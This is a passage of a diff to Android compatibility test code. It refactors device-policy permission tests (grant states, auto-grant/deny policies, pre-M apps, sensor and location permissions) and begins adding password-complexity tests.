-        assertSetPermissionGrantState(DevicePolicyManager.PERMISSION_GRANT_STATE_GRANTED);
-        assertSetPermissionPolicy(DevicePolicyManager.PERMISSION_POLICY_AUTO_GRANT);
-        assertPermissionRequest(PackageManager.PERMISSION_GRANTED);
-
-        assertSetPermissionPolicy(DevicePolicyManager.PERMISSION_POLICY_AUTO_DENY);
-        assertPermissionRequest(PackageManager.PERMISSION_GRANTED);
-
-        assertSetPermissionPolicy(DevicePolicyManager.PERMISSION_POLICY_PROMPT);
-        assertPermissionRequest(PackageManager.PERMISSION_GRANTED);
+            assertHasPermissionFromActivity(READ_CONTACTS);
+        } finally {
+            // Restore original state
+            setPermissionGrantState(READ_CONTACTS, grantState);
+        }
     }
 
-    public void testAutoGrantMultiplePermissionsInGroup() throws Exception {
-        // set policy to autogrant
-        assertSetPermissionPolicy(DevicePolicyManager.PERMISSION_POLICY_AUTO_GRANT);
-        // both permissions should be granted
-        assertPermissionRequest(READ_CONTACTS, PackageManager.PERMISSION_GRANTED);
-        assertPermissionRequest(WRITE_CONTACTS, PackageManager.PERMISSION_GRANTED);
+    public void testPermissionGrantStateGranted_mixedPolicies() throws Exception {
+        int grantState = mDevicePolicyManager.getPermissionGrantState(ADMIN_RECEIVER_COMPONENT,
+                PERMISSION_APP_PACKAGE_NAME, READ_CONTACTS);
+        int permissionPolicy = mDevicePolicyManager.getPermissionPolicy(ADMIN_RECEIVER_COMPONENT);
+        try {
+            setPermissionGrantState(READ_CONTACTS, PERMISSION_GRANT_STATE_GRANTED);
+
+            // Check permission by launching an activity and requesting the permission
+            setPermissionPolicy(PERMISSION_POLICY_AUTO_GRANT);
+
+            assertPermissionPolicy(PERMISSION_POLICY_AUTO_GRANT);
+            assertCanRequestPermissionFromActivity(READ_CONTACTS);
+
+            setPermissionPolicy(PERMISSION_POLICY_AUTO_DENY);
+
+            assertPermissionPolicy(PERMISSION_POLICY_AUTO_DENY);
+            assertCanRequestPermissionFromActivity(READ_CONTACTS);
+
+            setPermissionPolicy(PERMISSION_POLICY_PROMPT);
+
+            assertPermissionPolicy(PERMISSION_POLICY_PROMPT);
+            assertCanRequestPermissionFromActivity(READ_CONTACTS);
+        } finally {
+            // Restore original state
+            setPermissionGrantState(READ_CONTACTS, grantState);
+            setPermissionPolicy(permissionPolicy);
+        }
     }
 
-    public void testPermissionGrantOfDisallowedPermissionWhileOtherPermIsGranted() throws Exception {
-        assertSetPermissionGrantState(CUSTOM_PERM_A_NAME,
-                DevicePolicyManager.PERMISSION_GRANT_STATE_GRANTED);
-        assertSetPermissionGrantState(CUSTOM_PERM_B_NAME,
-                DevicePolicyManager.PERMISSION_GRANT_STATE_DENIED);
-
-        /*
-         * CUSTOM_PERM_A_NAME and CUSTOM_PERM_B_NAME are in the same permission group and one is
-         * granted the other one is not.
-         *
-         * It should not be possible to get the permission that was denied via policy granted by
-         * requesting it.
-         */
-        assertPermissionRequest(CUSTOM_PERM_B_NAME, PackageManager.PERMISSION_DENIED);
-    }
-
-    @Suppress // Flakey.
-    public void testPermissionPrompts() throws Exception {
-        // register a crash watcher
-        mDevice.registerWatcher(CRASH_WATCHER_ID, new UiWatcher() {
-            @Override
-            public boolean checkForCondition() {
-                UiObject2 button = mDevice.findObject(CRASH_POPUP_BUTTON_SELECTOR);
-                if (button != null) {
-                    UiObject2 text = mDevice.findObject(CRASH_POPUP_TEXT_SELECTOR);
-                    Log.d(TAG, "Removing an error dialog: " + text != null ? text.getText() : null);
-                    button.click();
-                    return true;
-                }
-                return false;
-            }
-        });
-        mDevice.runWatchers();
-
-        assertSetPermissionPolicy(DevicePolicyManager.PERMISSION_POLICY_PROMPT);
-        assertPermissionRequest(PackageManager.PERMISSION_DENIED, "permission_deny_button");
-        assertPermissionRequest(PackageManager.PERMISSION_GRANTED, "permission_allow_button");
-    }
-
-    public void testPermissionUpdate_setDeniedState() throws Exception {
-        assertEquals(mDevicePolicyManager.getPermissionGrantState(ADMIN_RECEIVER_COMPONENT,
-                PERMISSION_APP_PACKAGE_NAME, READ_CONTACTS),
-                DevicePolicyManager.PERMISSION_GRANT_STATE_DEFAULT);
-        assertSetPermissionGrantState(DevicePolicyManager.PERMISSION_GRANT_STATE_DENIED);
-    }
-
-    public void testPermissionUpdate_setAutoDeniedPolicy() throws Exception {
-        assertEquals(mDevicePolicyManager.getPermissionGrantState(ADMIN_RECEIVER_COMPONENT,
-                PERMISSION_APP_PACKAGE_NAME, READ_CONTACTS),
-                DevicePolicyManager.PERMISSION_GRANT_STATE_DEFAULT);
-        assertSetPermissionPolicy(DevicePolicyManager.PERMISSION_POLICY_AUTO_DENY);
-        assertPermissionRequest(PackageManager.PERMISSION_DENIED);
-    }
-
-    public void testPermissionUpdate_checkDenied() throws Exception {
-        assertPermissionRequest(PackageManager.PERMISSION_DENIED);
-        assertPermissionGrantState(PackageManager.PERMISSION_DENIED);
-    }
-
-    public void testPermissionUpdate_setGrantedState() throws Exception {
-        assertEquals(mDevicePolicyManager.getPermissionGrantState(ADMIN_RECEIVER_COMPONENT,
-                PERMISSION_APP_PACKAGE_NAME, READ_CONTACTS),
-                DevicePolicyManager.PERMISSION_GRANT_STATE_DEFAULT);
-        assertSetPermissionGrantState(DevicePolicyManager.PERMISSION_GRANT_STATE_GRANTED);
-    }
-
-    public void testPermissionUpdate_setAutoGrantedPolicy() throws Exception {
-        assertEquals(mDevicePolicyManager.getPermissionGrantState(ADMIN_RECEIVER_COMPONENT,
-                PERMISSION_APP_PACKAGE_NAME, READ_CONTACTS),
-                DevicePolicyManager.PERMISSION_GRANT_STATE_DEFAULT);
-        assertSetPermissionPolicy(DevicePolicyManager.PERMISSION_POLICY_AUTO_GRANT);
-        assertPermissionRequest(PackageManager.PERMISSION_GRANTED);
-    }
-
-    public void testPermissionUpdate_checkGranted() throws Exception {
-        assertPermissionRequest(PackageManager.PERMISSION_GRANTED);
-        assertPermissionGrantState(PackageManager.PERMISSION_GRANTED);
-    }
-
-    public void testPermissionGrantStateAppPreMDeviceAdminPreQ() throws Exception {
-        // These tests are to make sure that pre-M apps are not granted/denied runtime permissions
-        // by a profile owner that targets pre-Q
-        assertCannotSetPermissionGrantStateAppPreM(
-                DevicePolicyManager.PERMISSION_GRANT_STATE_DENIED);
-        assertCannotSetPermissionGrantStateAppPreM(
-                DevicePolicyManager.PERMISSION_GRANT_STATE_GRANTED);
-    }
-
-    public void testPermissionGrantStatePreMApp() throws Exception {
-        // These tests are to make sure that pre-M apps can be granted/denied runtime permissions
-        // by a profile owner targets Q or later
-        assertCanSetPermissionGrantStateAppPreM(DevicePolicyManager.PERMISSION_GRANT_STATE_DENIED);
-        assertCanSetPermissionGrantStateAppPreM(DevicePolicyManager.PERMISSION_GRANT_STATE_GRANTED);
-    }
-
-    public void testPermissionGrantState_developmentPermission() throws Exception {
-        assertFailedToSetDevelopmentPermissionGrantState(
-                DevicePolicyManager.PERMISSION_GRANT_STATE_DENIED);
-        assertFailedToSetDevelopmentPermissionGrantState(
-                DevicePolicyManager.PERMISSION_GRANT_STATE_DEFAULT);
-        assertFailedToSetDevelopmentPermissionGrantState(
-                DevicePolicyManager.PERMISSION_GRANT_STATE_GRANTED);
-    }
-
-    public void testUserNotifiedOfLocationPermissionGrant() throws Exception {
+    public void testPermissionGrantStateGranted_userNotifiedOfLocationPermission()
+            throws Exception {
         for (String locationPermission : LOCATION_PERMISSIONS) {
-            CountDownLatch notificationLatch = initLocationPermissionNotificationLatch();
+            // TODO(b/161359841): move NotificationListener to app/common
+            CountDownLatch notificationLatch = initPermissionNotificationLatch();
 
-            assertSetPermissionGrantState(locationPermission,
-                    DevicePolicyManager.PERMISSION_GRANT_STATE_GRANTED);
+            setPermissionGrantState(locationPermission, PERMISSION_GRANT_STATE_GRANTED);
 
-            assertPermissionGrantState(locationPermission, PackageManager.PERMISSION_GRANTED);
+            assertPermissionGrantState(locationPermission, PERMISSION_GRANT_STATE_GRANTED);
             assertTrue(String.format("Did not receive notification for permission %s",
                     locationPermission), notificationLatch.await(60, TimeUnit.SECONDS));
             NotificationListener.getInstance().clearListeners();
         }
     }
 
-    private void assertPermissionRequest(int expected) throws Exception {
-        assertPermissionRequest(READ_CONTACTS, expected);
+    public void testPermissionGrantState_developmentPermission() {
+        assertCannotSetPermissionGrantStateDevelopmentPermission(PERMISSION_GRANT_STATE_DENIED);
+        assertCannotSetPermissionGrantStateDevelopmentPermission(PERMISSION_GRANT_STATE_DEFAULT);
+        assertCannotSetPermissionGrantStateDevelopmentPermission(PERMISSION_GRANT_STATE_GRANTED);
     }
 
-    private void assertPermissionRequest(String permission, int expected) throws Exception {
-        assertPermissionRequest(permission, expected, null);
+    private void assertCannotSetPermissionGrantStateDevelopmentPermission(int value) {
+        unableToSetPermissionGrantState(DEVELOPMENT_PERMISSION, value);
+
+        assertPermissionGrantState(DEVELOPMENT_PERMISSION, PERMISSION_GRANT_STATE_DEFAULT);
+        PermissionUtils.checkPermission(DEVELOPMENT_PERMISSION, PERMISSION_DENIED,
+                PERMISSION_APP_PACKAGE_NAME);
     }
 
-    private void assertPermissionRequest(int expected, String buttonResource)
+    public void testPermissionGrantState_preMApp_preQDeviceAdmin() throws Exception {
+        // These tests are to make sure that pre-M apps are not granted/denied runtime permissions
+        // by a profile owner that targets pre-Q
+        assertCannotSetPermissionGrantStatePreMApp(READ_CONTACTS, PERMISSION_GRANT_STATE_DENIED);
+        assertCannotSetPermissionGrantStatePreMApp(READ_CONTACTS, PERMISSION_GRANT_STATE_GRANTED);
+    }
+
+    private void assertCannotSetPermissionGrantStatePreMApp(String permission, int value)
             throws Exception {
-        assertPermissionRequest(READ_CONTACTS, expected, buttonResource);
+        assertFalse(mDevicePolicyManager.setPermissionGrantState(ADMIN_RECEIVER_COMPONENT,
+                PRE_M_APP_PACKAGE_NAME, permission, value));
+        assertEquals(mDevicePolicyManager.getPermissionGrantState(ADMIN_RECEIVER_COMPONENT,
+                PRE_M_APP_PACKAGE_NAME, permission), PERMISSION_GRANT_STATE_DEFAULT);
+
+        // Install runtime permissions should always be granted
+        PermissionUtils.checkPermission(permission, PERMISSION_GRANTED, PRE_M_APP_PACKAGE_NAME);
+        PermissionUtils.checkPermissionAndAppOps(permission, PERMISSION_GRANTED,
+                PRE_M_APP_PACKAGE_NAME);
     }
 
-    private void assertSetPermissionGrantState(int value) throws Exception {
-        assertSetPermissionGrantState(READ_CONTACTS, value);
+    public void testPermissionGrantState_preMApp() throws Exception {
+        // These tests are to make sure that pre-M apps can be granted/denied runtime permissions
+        // by a profile owner targets Q or later
+        assertCanSetPermissionGrantStatePreMApp(READ_CONTACTS, PERMISSION_GRANT_STATE_DENIED);
+        assertCanSetPermissionGrantStatePreMApp(READ_CONTACTS, PERMISSION_GRANT_STATE_GRANTED);
     }
 
-    private void assertPermissionGrantState(int expected) throws Exception {
-        assertPermissionGrantState(READ_CONTACTS, expected);
-    }
-
-    private void assertCannotSetPermissionGrantStateAppPreM(int value) throws Exception {
-        assertCannotSetPermissionGrantStateAppPreM(READ_CONTACTS, value);
-    }
-
-    private void assertCanSetPermissionGrantStateAppPreM(int value) throws Exception {
-        assertCanSetPermissionGrantStateAppPreM(READ_CONTACTS, value);
-    }
-
-    private void assertPermissionRequest(String permission, int expected, String buttonResource)
+    private void assertCanSetPermissionGrantStatePreMApp(String permission, int value)
             throws Exception {
-        Intent launchIntent = new Intent();
-        launchIntent.setComponent(new ComponentName(PERMISSION_APP_PACKAGE_NAME,
-                PERMISSIONS_ACTIVITY_NAME));
-        launchIntent.putExtra(EXTRA_PERMISSION, permission);
-        launchIntent.setAction(ACTION_REQUEST_PERMISSION);
-        launchIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_MULTIPLE_TASK);
-        mContext.startActivity(launchIntent);
-        pressPermissionPromptButton(buttonResource);
-        assertEquals(expected, mReceiver.waitForBroadcast());
-        assertEquals(expected, mPackageManager.checkPermission(permission,
-                PERMISSION_APP_PACKAGE_NAME));
-    }
-
-    private void assertPermissionGrantState(String permission, int expected) throws Exception {
-        assertEquals(expected, mPackageManager.checkPermission(permission,
-                PERMISSION_APP_PACKAGE_NAME));
-        Intent launchIntent = new Intent();
-        launchIntent.setComponent(new ComponentName(PERMISSION_APP_PACKAGE_NAME,
-                PERMISSIONS_ACTIVITY_NAME));
-        launchIntent.putExtra(EXTRA_PERMISSION, permission);
-        launchIntent.setAction(ACTION_CHECK_HAS_PERMISSION);
-        launchIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_MULTIPLE_TASK);
-        mContext.startActivity(launchIntent);
-        assertEquals(expected, mReceiver.waitForBroadcast());
-    }
-
-    private void assertSetPermissionPolicy(int value) throws Exception {
-        mDevicePolicyManager.setPermissionPolicy(ADMIN_RECEIVER_COMPONENT,
-                value);
-        assertEquals(mDevicePolicyManager.getPermissionPolicy(ADMIN_RECEIVER_COMPONENT),
-                value);
-    }
-
-    private void assertSetPermissionGrantState(String permission, int value) throws Exception {
-        mDevicePolicyManager.setPermissionGrantState(ADMIN_RECEIVER_COMPONENT,
-                PERMISSION_APP_PACKAGE_NAME, permission,
-                value);
-        assertEquals(mDevicePolicyManager.getPermissionGrantState(ADMIN_RECEIVER_COMPONENT,
-                PERMISSION_APP_PACKAGE_NAME, permission),
-                value);
-    }
-
-    private void assertFailedToSetDevelopmentPermissionGrantState(int value) throws Exception {
-        assertFalse(mDevicePolicyManager.setPermissionGrantState(ADMIN_RECEIVER_COMPONENT,
-                PERMISSION_APP_PACKAGE_NAME, DEVELOPMENT_PERMISSION, value));
-        assertEquals(mDevicePolicyManager.getPermissionGrantState(ADMIN_RECEIVER_COMPONENT,
-                PERMISSION_APP_PACKAGE_NAME, DEVELOPMENT_PERMISSION),
-                DevicePolicyManager.PERMISSION_GRANT_STATE_DEFAULT);
-        assertEquals(mPackageManager.checkPermission(DEVELOPMENT_PERMISSION,
-                PERMISSION_APP_PACKAGE_NAME),
-                PackageManager.PERMISSION_DENIED);
-    }
-
-    private void assertCannotSetPermissionGrantStateAppPreM(String permission, int value) throws Exception {
-        assertFalse(mDevicePolicyManager.setPermissionGrantState(ADMIN_RECEIVER_COMPONENT,
-                SIMPLE_PRE_M_APP_PACKAGE_NAME, permission,
-                value));
-        assertEquals(mDevicePolicyManager.getPermissionGrantState(ADMIN_RECEIVER_COMPONENT,
-                SIMPLE_PRE_M_APP_PACKAGE_NAME, permission),
-                DevicePolicyManager.PERMISSION_GRANT_STATE_DEFAULT);
-
-        // Install time permissions should always be granted
-        PackageInfo packageInfo = mContext.getPackageManager().getPackageInfo(
-                SIMPLE_PRE_M_APP_PACKAGE_NAME, 0);
-        assertEquals(PERMISSION_GRANTED,
-                checkPermission(permission, packageInfo.applicationInfo.uid,
-                        SIMPLE_PRE_M_APP_PACKAGE_NAME));
-    }
-
-    private void assertCanSetPermissionGrantStateAppPreM(String permission, int value) throws Exception {
         assertTrue(mDevicePolicyManager.setPermissionGrantState(ADMIN_RECEIVER_COMPONENT,
-                SIMPLE_PRE_M_APP_PACKAGE_NAME, permission,
-                value));
+                PRE_M_APP_PACKAGE_NAME, permission, value));
         assertEquals(mDevicePolicyManager.getPermissionGrantState(ADMIN_RECEIVER_COMPONENT,
-                SIMPLE_PRE_M_APP_PACKAGE_NAME, permission),
-                value);
+                PRE_M_APP_PACKAGE_NAME, permission), value);
 
         // Install time permissions should always be granted
-        assertEquals(mPackageManager.checkPermission(permission,
-                SIMPLE_PRE_M_APP_PACKAGE_NAME),
-                PackageManager.PERMISSION_GRANTED);
-
-        PackageInfo packageInfo = mContext.getPackageManager().getPackageInfo(
-                SIMPLE_PRE_M_APP_PACKAGE_NAME, 0);
+        PermissionUtils.checkPermission(permission, PERMISSION_GRANTED, PRE_M_APP_PACKAGE_NAME);
 
         // For pre-M apps the access to the data might be prevented via app-ops. Hence check that
         // they are correctly set
-        boolean isGranted = (checkPermission(permission, packageInfo.applicationInfo.uid,
-                SIMPLE_PRE_M_APP_PACKAGE_NAME) == PERMISSION_GRANTED);
         switch (value) {
-            case DevicePolicyManager.PERMISSION_GRANT_STATE_GRANTED:
-                assertTrue(isGranted);
+            case PERMISSION_GRANT_STATE_GRANTED:
+                PermissionUtils.checkPermissionAndAppOps(permission, PERMISSION_GRANTED,
+                        PRE_M_APP_PACKAGE_NAME);
                 break;
-            case DevicePolicyManager.PERMISSION_GRANT_STATE_DENIED:
-                assertFalse(isGranted);
+            case PERMISSION_GRANT_STATE_DENIED:
+                PermissionUtils.checkPermissionAndAppOps(permission, PERMISSION_DENIED,
+                        PRE_M_APP_PACKAGE_NAME);
                 break;
             default:
                 fail("unsupported policy value");
         }
     }
 
-    private void pressPermissionPromptButton(String resName) throws Exception {
-        if (resName == null) {
-            return;
-        }
+    public void testPermissionPolicyAutoDeny() throws Exception {
+        setPermissionPolicy(PERMISSION_POLICY_AUTO_DENY);
 
-        BySelector selector = By
-                .clazz(android.widget.Button.class.getName())
-                .res("com.android.packageinstaller", resName);
-        mDevice.wait(Until.hasObject(selector), 5000);
-        UiObject2 button = mDevice.findObject(selector);
-        assertNotNull("Couldn't find button with resource id: " + resName, button);
-        button.click();
+        assertPermissionPolicy(PERMISSION_POLICY_AUTO_DENY);
+        assertCannotRequestPermissionFromActivity(READ_CONTACTS);
     }
 
-    private class PermissionBroadcastReceiver extends BroadcastReceiver {
-        private BlockingQueue<Integer> mQueue = new ArrayBlockingQueue<Integer> (1);
+    public void testPermissionPolicyAutoDeny_permissionLocked() throws Exception {
+        int grantState = mDevicePolicyManager.getPermissionGrantState(ADMIN_RECEIVER_COMPONENT,
+                PERMISSION_APP_PACKAGE_NAME, READ_CONTACTS);
+        int permissionPolicy = mDevicePolicyManager.getPermissionPolicy(ADMIN_RECEIVER_COMPONENT);
+        try {
+            setPermissionGrantState(READ_CONTACTS, PERMISSION_GRANT_STATE_DENIED);
+            setPermissionGrantState(READ_CONTACTS, PERMISSION_GRANT_STATE_DEFAULT);
+            testPermissionPolicyAutoDeny();
 
-        @Override
-        public void onReceive(Context context, Intent intent) {
-            Integer result = new Integer(intent.getIntExtra(EXTRA_GRANT_STATE, PERMISSION_ERROR));
-            Log.d(TAG, "Grant state received " + result);
-            assertTrue(mQueue.add(result));
-        }
+            // Permission should be locked, so changing the policy should not change the grant state
+            setPermissionPolicy(PERMISSION_POLICY_PROMPT);
 
-        public int waitForBroadcast() throws Exception {
-            Integer result = mQueue.poll(30, TimeUnit.SECONDS);
-            mQueue.clear();
-            assertNotNull(result);
-            Log.d(TAG, "Grant state retrieved " + result.intValue());
-            return result.intValue();
+            assertPermissionPolicy(PERMISSION_POLICY_PROMPT);
+            assertCannotRequestPermissionFromActivity(READ_CONTACTS);
+
+            setPermissionPolicy(PERMISSION_POLICY_AUTO_GRANT);
+
+            assertPermissionPolicy(PERMISSION_POLICY_AUTO_GRANT);
+            assertCannotRequestPermissionFromActivity(READ_CONTACTS);
+        } finally {
+            // Restore original state
+            setPermissionGrantState(READ_CONTACTS, grantState);
+            setPermissionPolicy(permissionPolicy);
         }
     }
 
-    private CountDownLatch initLocationPermissionNotificationLatch() {
+    public void testPermissionPolicyAutoGrant() throws Exception {
+        setPermissionPolicy(PERMISSION_POLICY_AUTO_GRANT);
+
+        assertPermissionPolicy(PERMISSION_POLICY_AUTO_GRANT);
+        assertCanRequestPermissionFromActivity(READ_CONTACTS);
+    }
+
+    public void testPermissionPolicyAutoGrant_permissionLocked() throws Exception {
+        int grantState = mDevicePolicyManager.getPermissionGrantState(ADMIN_RECEIVER_COMPONENT,
+                PERMISSION_APP_PACKAGE_NAME, READ_CONTACTS);
+        int permissionPolicy = mDevicePolicyManager.getPermissionPolicy(ADMIN_RECEIVER_COMPONENT);
+        try {
+            setPermissionGrantState(READ_CONTACTS, PERMISSION_GRANT_STATE_DEFAULT);
+            setPermissionPolicy(PERMISSION_POLICY_AUTO_GRANT);
+
+            assertPermissionPolicy(PERMISSION_POLICY_AUTO_GRANT);
+            assertCanRequestPermissionFromActivity(READ_CONTACTS);
+
+            // permission should be locked, so changing the policy should not change the grant state
+            setPermissionPolicy(PERMISSION_POLICY_PROMPT);
+
+            assertPermissionPolicy(PERMISSION_POLICY_PROMPT);
+            assertCanRequestPermissionFromActivity(READ_CONTACTS);
+
+            setPermissionPolicy(PERMISSION_POLICY_AUTO_DENY);
+
+            assertPermissionPolicy(PERMISSION_POLICY_AUTO_DENY);
+            assertCanRequestPermissionFromActivity(READ_CONTACTS);
+        } finally {
+            // Restore original state
+            setPermissionGrantState(READ_CONTACTS, grantState);
+            setPermissionPolicy(permissionPolicy);
+        }
+    }
+
+    public void testPermissionPolicyAutoGrant_multiplePermissionsInGroup() throws Exception {
+        setPermissionPolicy(PERMISSION_POLICY_AUTO_GRANT);
+
+        // Both permissions should be granted
+        assertPermissionPolicy(PERMISSION_POLICY_AUTO_GRANT);
+        assertCanRequestPermissionFromActivity(READ_CONTACTS);
+        assertCanRequestPermissionFromActivity(WRITE_CONTACTS);
+    }
+
+    public void testCannotRequestPermission() throws Exception {
+        assertCannotRequestPermissionFromActivity(READ_CONTACTS);
+    }
+
+    public void testCanRequestPermission() throws Exception {
+        assertCanRequestPermissionFromActivity(READ_CONTACTS);
+    }
+
+    @Suppress // Flakey.
+    public void testPermissionPrompts() throws Exception {
+        // register a crash watcher
+        mDevice.registerWatcher(CRASH_WATCHER_ID, () -> {
+            UiObject2 button = mDevice.findObject(CRASH_POPUP_BUTTON_SELECTOR);
+            if (button != null) {
+                UiObject2 text = mDevice.findObject(CRASH_POPUP_TEXT_SELECTOR);
+                Log.d(TAG, "Removing an error dialog: " + text != null ? text.getText() : null);
+                button.click();
+                return true;
+            }
+            return false;
+        });
+        mDevice.runWatchers();
+        setPermissionPolicy(PERMISSION_POLICY_PROMPT);
+
+        assertPermissionPolicy(PERMISSION_POLICY_PROMPT);
+        PermissionUtils.launchActivityAndRequestPermission(mReceiver, mDevice, READ_CONTACTS,
+                PERMISSION_DENIED, PERMISSION_APP_PACKAGE_NAME, PERMISSIONS_ACTIVITY_NAME);
+        PermissionUtils.checkPermission(READ_CONTACTS, PERMISSION_DENIED,
+                PERMISSION_APP_PACKAGE_NAME);
+        PermissionUtils.launchActivityAndRequestPermission(mReceiver, mDevice, READ_CONTACTS,
+                PERMISSION_GRANTED, PERMISSION_APP_PACKAGE_NAME, PERMISSIONS_ACTIVITY_NAME);
+        PermissionUtils.checkPermission(READ_CONTACTS, PERMISSION_GRANTED,
+                PERMISSION_APP_PACKAGE_NAME);
+    }
+
+    public void testSensorsRelatedPermissionsCannotBeGranted() throws Exception {
+        for (String sensorPermission: SENSORS_PERMISSIONS) {
+            // The permission cannot be granted.
+            assertFailedToSetPermissionGrantState(
+                    sensorPermission, DevicePolicyManager.PERMISSION_GRANT_STATE_GRANTED);
+            // But the user can grant it.
+            PermissionUtils.launchActivityAndRequestPermission(mReceiver, mDevice, sensorPermission,
+                    PERMISSION_GRANTED, PERMISSION_APP_PACKAGE_NAME, PERMISSIONS_ACTIVITY_NAME);
+
+            // And the package manager should show it as granted.
+            PermissionUtils.checkPermission(sensorPermission, PERMISSION_GRANTED,
+                    PERMISSION_APP_PACKAGE_NAME);
+        }
+    }
+
+    public void testSensorsRelatedPermissionsCanBeDenied() throws Exception {
+        for (String sensorPermission: SENSORS_PERMISSIONS) {
+            // The permission can be denied
+            setPermissionGrantState(sensorPermission, PERMISSION_GRANT_STATE_DENIED);
+
+            assertPermissionGrantState(sensorPermission, PERMISSION_GRANT_STATE_DENIED);
+            assertCannotRequestPermissionFromActivity(sensorPermission);
+        }
+    }
+
+    public void testSensorsRelatedPermissionsNotGrantedViaPolicy() throws Exception {
+        setPermissionPolicy(PERMISSION_POLICY_AUTO_GRANT);
+        for (String sensorPermission: SENSORS_PERMISSIONS) {
+            // The permission is not granted by default.
+            PermissionUtils.checkPermission(sensorPermission, PERMISSION_DENIED,
+                    PERMISSION_APP_PACKAGE_NAME);
+            // But the user can grant it.
+            PermissionUtils.launchActivityAndRequestPermission(mReceiver, mDevice, sensorPermission,
+                    PERMISSION_GRANTED, PERMISSION_APP_PACKAGE_NAME, PERMISSIONS_ACTIVITY_NAME);
+
+            // And the package manager should show it as granted.
+            PermissionUtils.checkPermission(sensorPermission, PERMISSION_GRANTED,
+                    PERMISSION_APP_PACKAGE_NAME);
+        }
+    }
+
+    private void assertFailedToSetPermissionGrantState(String permission, int value) {
+        assertTrue(mDevicePolicyManager.setPermissionGrantState(ADMIN_RECEIVER_COMPONENT,
+                PERMISSION_APP_PACKAGE_NAME, permission, value));
+        assertEquals(mDevicePolicyManager.getPermissionGrantState(ADMIN_RECEIVER_COMPONENT,
+                PERMISSION_APP_PACKAGE_NAME, permission),
+                DevicePolicyManager.PERMISSION_GRANT_STATE_DEFAULT);
+        assertEquals(mContext.getPackageManager().checkPermission(permission,
+                PERMISSION_APP_PACKAGE_NAME),
+                PackageManager.PERMISSION_DENIED);
+    }
+
+    private CountDownLatch initPermissionNotificationLatch() {
         CountDownLatch notificationCounterLatch = new CountDownLatch(1);
         NotificationListener.getInstance().addListener((notification) -> {
             if (notification.getPackageName().equals(
-                    mPackageManager.getPermissionControllerPackageName()) &&
+                    mContext.getPackageManager().getPermissionControllerPackageName()) &&
                     notification.getNotification().getChannelId().equals(
                             AUTO_GRANTED_PERMISSIONS_CHANNEL_ID)) {
                 notificationCounterLatch.countDown();
@@ -501,4 +498,51 @@
         });
         return notificationCounterLatch;
     }
+
+    private void setPermissionPolicy(int permissionPolicy) {
+        mDevicePolicyManager.setPermissionPolicy(ADMIN_RECEIVER_COMPONENT, permissionPolicy);
+    }
+
+    private boolean setPermissionGrantState(String permission, int grantState) {
+        return mDevicePolicyManager.setPermissionGrantState(ADMIN_RECEIVER_COMPONENT,
+                PERMISSION_APP_PACKAGE_NAME, permission, grantState);
+    }
+
+    private void unableToSetPermissionGrantState(String permission, int grantState) {
+        assertFalse(setPermissionGrantState(permission, grantState));
+    }
+
+    private void assertPermissionGrantState(String permission, int grantState) {
+        assertEquals(mDevicePolicyManager.getPermissionGrantState(ADMIN_RECEIVER_COMPONENT,
+                PERMISSION_APP_PACKAGE_NAME, permission), grantState);
+    }
+
+    private void assertPermissionPolicy(int permissionPolicy) {
+        assertEquals(mDevicePolicyManager.getPermissionPolicy(ADMIN_RECEIVER_COMPONENT),
+                permissionPolicy);
+    }
+
+    private void assertCanRequestPermissionFromActivity(String permission) throws Exception {
+        PermissionUtils.launchActivityAndRequestPermission(
+                mReceiver, permission, PERMISSION_GRANTED,
+                PERMISSION_APP_PACKAGE_NAME, PERMISSIONS_ACTIVITY_NAME);
+    }
+
+    private void assertCannotRequestPermissionFromActivity(String permission) throws Exception {
+        PermissionUtils.launchActivityAndRequestPermission(
+                mReceiver, permission, PERMISSION_DENIED,
+                PERMISSION_APP_PACKAGE_NAME, PERMISSIONS_ACTIVITY_NAME);
+    }
+
+    private void assertHasPermissionFromActivity(String permission) throws Exception {
+        PermissionUtils.launchActivityAndCheckPermission(
+                mReceiver, permission, PERMISSION_GRANTED,
+                PERMISSION_APP_PACKAGE_NAME, PERMISSIONS_ACTIVITY_NAME);
+    }
+
+    private void assertNoPermissionFromActivity(String permission) throws Exception {
+        PermissionUtils.launchActivityAndCheckPermission(
+                mReceiver, permission, PERMISSION_DENIED,
+                PERMISSION_APP_PACKAGE_NAME, PERMISSIONS_ACTIVITY_NAME);
+    }
 }
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ResetPasswordWithTokenTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ResetPasswordWithTokenTest.java
index 7ab2e9d..b1f5f9f 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ResetPasswordWithTokenTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ResetPasswordWithTokenTest.java
@@ -15,6 +15,10 @@
  */
 package com.android.cts.deviceandprofileowner;
 
+import static android.app.admin.DevicePolicyManager.PASSWORD_COMPLEXITY_HIGH;
+import static android.app.admin.DevicePolicyManager.PASSWORD_COMPLEXITY_LOW;
+import static android.app.admin.DevicePolicyManager.PASSWORD_COMPLEXITY_MEDIUM;
+import static android.app.admin.DevicePolicyManager.PASSWORD_COMPLEXITY_NONE;
 import static android.app.admin.DevicePolicyManager.PASSWORD_QUALITY_ALPHABETIC;
 import static android.app.admin.DevicePolicyManager.PASSWORD_QUALITY_ALPHANUMERIC;
 import static android.app.admin.DevicePolicyManager.PASSWORD_QUALITY_COMPLEX;
@@ -55,6 +59,7 @@
         resetComplexPasswordRestrictions();
         mDevicePolicyManager.setPasswordQuality(ADMIN_RECEIVER_COMPONENT,
                 PASSWORD_QUALITY_UNSPECIFIED);
+        mDevicePolicyManager.setRequiredPasswordComplexity(PASSWORD_COMPLEXITY_NONE);
         super.tearDown();
     }
 
@@ -407,6 +412,91 @@
         assertPasswordFails("123", caseDescription); // too short
     }
 
+    public void testPasswordComplexity_settingComplexityClearsQuality() {
+        if (!mShouldRun) {
+            return;
+        }
+
+        mDevicePolicyManager.setPasswordQuality(ADMIN_RECEIVER_COMPONENT, PASSWORD_QUALITY_COMPLEX);
+        mDevicePolicyManager.setRequiredPasswordComplexity(PASSWORD_COMPLEXITY_MEDIUM);
+        assertEquals(PASSWORD_QUALITY_UNSPECIFIED,
+                mDevicePolicyManager.getPasswordQuality(ADMIN_RECEIVER_COMPONENT));
+        assertEquals(PASSWORD_COMPLEXITY_MEDIUM,
